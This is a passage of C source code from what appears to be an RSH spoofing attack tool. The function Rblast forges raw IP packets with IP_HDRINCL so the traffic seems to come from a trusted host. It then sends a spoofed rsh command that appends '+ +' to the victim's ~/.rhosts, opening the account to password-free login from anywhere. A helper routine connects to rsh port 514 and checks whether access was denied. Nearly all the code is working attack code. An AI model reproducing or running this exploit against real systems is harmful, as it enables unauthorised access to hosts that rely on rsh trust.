  964.  
  965.     adresse_serveur.sin_family      = AF_INET;
  966.     adresse_serveur.sin_port        = htons(514);
  967.     adresse_serveur.sin_addr.s_addr = ip;
  968.  
  969.     res = connect(socket_client,(struct sockaddr *)&adresse_serveur, 
  970.               longueur); 
  971.  
  972.         if (res == ERROR) {
  973.            perror("connect");
  974.            close(socket_client);
  975.            exit(ERROR);
  976.         }
  977.  
  978.     if (send(socket_client, "0\0", 2, 0) == ERROR) {
  979.         perror("send");
  980.         close(socket_client);
  981.         exit(ERROR);
  982.     }    
  983.  
  984.     strcat(cmd, Luser);
  985.     if (send(socket_client, cmd, strlen(Luser) + 1, 0) == ERROR) {
  986.         perror("send");
  987.         close(socket_client);
  988.         exit(ERROR);
  989.     }    
  990.  
  991.     bzero(cmd, 400);
  992.     cmdptr = cmd;
  993.     strcat(cmdptr, Ruser);
  994.     cmdptr = cmdptr + strlen(Ruser) + 1;
  995.     strcat(cmdptr, exe);    
  996.     
  997.     res = send(socket_client, cmd, strlen(Ruser) + strlen(exe) + 2, 0);
  998.  
  999.     if (res == ERROR) {
  1000.         perror("send");
  1001.         close(socket_client);
  1002.         exit(ERROR);
  1003.         }
  1004.         
  1005.     if ((read(socket_client, bla, 200)) == ERROR) {
  1006.         perror("read");
  1007.         close(socket_client);
  1008.         exit(ERROR);
  1009.     }
  1010.  
  1011.         printf("%s\n",bla);
  1012.     
  1013.         if (strstr(bla, "nied") || strstr(bla, "inc")) { 
  1014.          close(socket_client);
  1015.          err = -1;
  1016.     } else 
  1017.         err = 0;
  1018.  
  1019.     close(socket_client);    
  1020.     return (err);
  1021.   }
  1022.  
  1023.   close(socket_client);    
  1024.   return (err);
  1025.  
  1026. }
  1027.  
  1028.  
  1029.  
  1030. /****************************************************************************/
  1031. /*           Rblast - a function for try the RSH spoofing                   */
  1032. /* Rblast(ip trust, ip of victim, your ip, source port, local user,         */
  1033. /*        remote user)                                */
  1034. /****************************************************************************/ 
  1035.  
  1036. void Rblast(s_ip, d_ip, my_ip, port, Luser, Ruser)
  1037.     u_long s_ip;
  1038.     u_long d_ip;
  1039.     u_long my_ip; 
  1040.     int    port;
  1041.     char   *Luser; 
  1042.     char   *Ruser;
  1043. {        
  1044.  
  1045.   char  bla[] = "echo \"+ +\" >> ~/.rhosts";
  1046.   char  cmd[512];
  1047.   int   s, s_r;
  1048.  
  1049.   int   i = 1;
  1050.   char  *cmdptr;
  1051.  
  1052.        
  1053.   if ((s_r=socket(AF_INET,SOCK_RAW,6)) == ERROR) {
  1054.     perror("socket");
  1055.     exit(ERROR);
  1056.   }
  1057.  
  1058.   if ((s=socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  1059.     perror("socket");
  1060.     close(s_r);
  1061.     exit(ERROR);
  1062.   }
  1063.  
  1064.   #ifdef IP_HDRINCL
  1065.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  1066.         == ERROR) {
  1067.               fprintf(stderr, "cant set IP_HDRINCL\n");
  1068.               close(s);
  1069.               exit(0); 
  1070.   }
  1071.   #endif
  1072.  
  1073.                                          
  1074.  
  1075.  cmdptr = cmd;
  1076.  strcat(cmdptr, "0\0");
  1077.  cmdptr = cmdptr + 2;
  1078.  strcat(cmdptr, Luser);
  1079.  cmdptr = cmdptr + strlen(Luser) + 1;
  1080.  strcat(cmdptr, Ruser);
  1081.  cmdptr = cmdptr + strlen(Ruser) + 1;
  1082.  strcat(cmdptr, bla);
  1083.  cmdptr=cmdptr + strlen(bla) + 1;
  1084.  
  1085.  printf("make spoof connection ...\n");
  1086.  printf("%s@%s --> ", Luser, (char *)inet_ntoa(s_ip));
  1087.  printf("%s@%s\n",    Ruser, (char *)inet_ntoa(d_ip));        
  1088.  
  1089.  Sconnect(s, s_ip, d_ip, port, 514, my_ip);
  1090.  
  1091.  printf("send the spoof rsh... \n");
  1092.  Swrite(s, cmd, strlen(Luser) + strlen(Ruser) + strlen(bla) + 2 + 3);
  1093.  Srst(s); 
  1094.  
  1095.  close(s);
  1096.  
  1097. }
  1098.                                                                        
  1099.